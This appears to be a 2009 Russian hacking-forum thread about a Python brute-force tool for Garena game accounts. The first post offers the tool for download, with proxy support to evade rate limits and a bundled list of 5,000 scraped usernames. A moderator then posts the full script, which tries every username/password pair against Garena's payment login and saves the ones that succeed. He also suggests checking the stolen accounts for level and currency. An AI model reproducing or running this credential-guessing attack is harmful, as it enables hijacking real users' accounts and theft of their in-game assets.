Брутфорс garena

Discussion in 'PHP' started by e4key, 23 Aug 2009.

Thread Status:
Not open for further replies.
  1. e4key

    e4key New Member

    Joined:
    24 Jul 2009
    Messages:
    24
    Likes Received:
    1
    Reputations:
    0
    Написал сегодня от нечего делать брут garen'ы. Брут в один поток (может в скором будущем сделаю многопоточность). Хотите брутьте по 1 паролю на множество аков, хотите 1 акк на множество паролей ну или множество акков на множество паролей :)

    Скрипт написан на Python.

    Использование:

    И ждем завершения :)

    Для работы скрипта нужны файлы:

    Естественно эти файлы должны лежать в той же директории, что и скрипт.

    Результат сохраняется в файл results.txt в виде login;password.

    Как бонус в архиве лежит сграбленный мной из топа игроков файл с 5к именами пользователей :)

    upd: добавлена поддержка http-прокси

    http://www.sendspace.com/file/0pz8gs
     
    #1 e4key, 23 Aug 2009
    Last edited: 23 Aug 2009
  2. e4key

    e4key New Member

    Joined:
    24 Jul 2009
    Messages:
    24
    Likes Received:
    1
    Reputations:
    0
    Так так... Обнаружено что спустя некоторое количество запросов юзеру отдается пустая страница вместо страницы логина :( Скоро освобожусь и сделаю работу через http прокси.
     
  3. b3

    b3 Moderator

    Joined:
    5 Dec 2004
    Messages:
    2,041
    Likes Received:
    933
    Reputations:
    199
    Стоило создавать тему из-за вот ЭТОГО:
    PHP:
    #!/usr/bin/env python
    # -*- coding: utf-8 -*-

    import urllib
    import re

    users 
    = open('users.txt', 'r').readlines()
    passwords = open('passwords.txt', 'r').readlines()
    hello = open('results.txt', 'w')

    for 
    user in users:
        
    user = user.strip()
        for 
    password in passwords:
            
    password = password.strip()
            
    data = urllib.urlencode({'username': user, 'password': password, 'loginSubmit': 'Submit'})
            
    page = urllib.urlopen('http://payment.garena.com/index.php?c=VXNlcg==&a=bG9naW4=', data).read()
            
    login = re.findall('Login successfully', page)
            if 
    len(login) != 0:
                print 
    'Login successfully: ' + user + ';' + password
                hello
    .write(user + ';' + password + '\n')
            else:
                print 
    'Incorrect login: ' + user + ';' + password
    Хотяб уже в придачу чекер сделал лвла и ГГшелов.
     
    _________________________
    1 person likes this.
  4. Sharky

    Sharky Elder - Старейшина

    Joined:
    1 May 2006
    Messages:
    487
    Likes Received:
    312
    Reputations:
    46
    /thread107524.html
    Закрыто!
     
Thread Status:
Not open for further replies.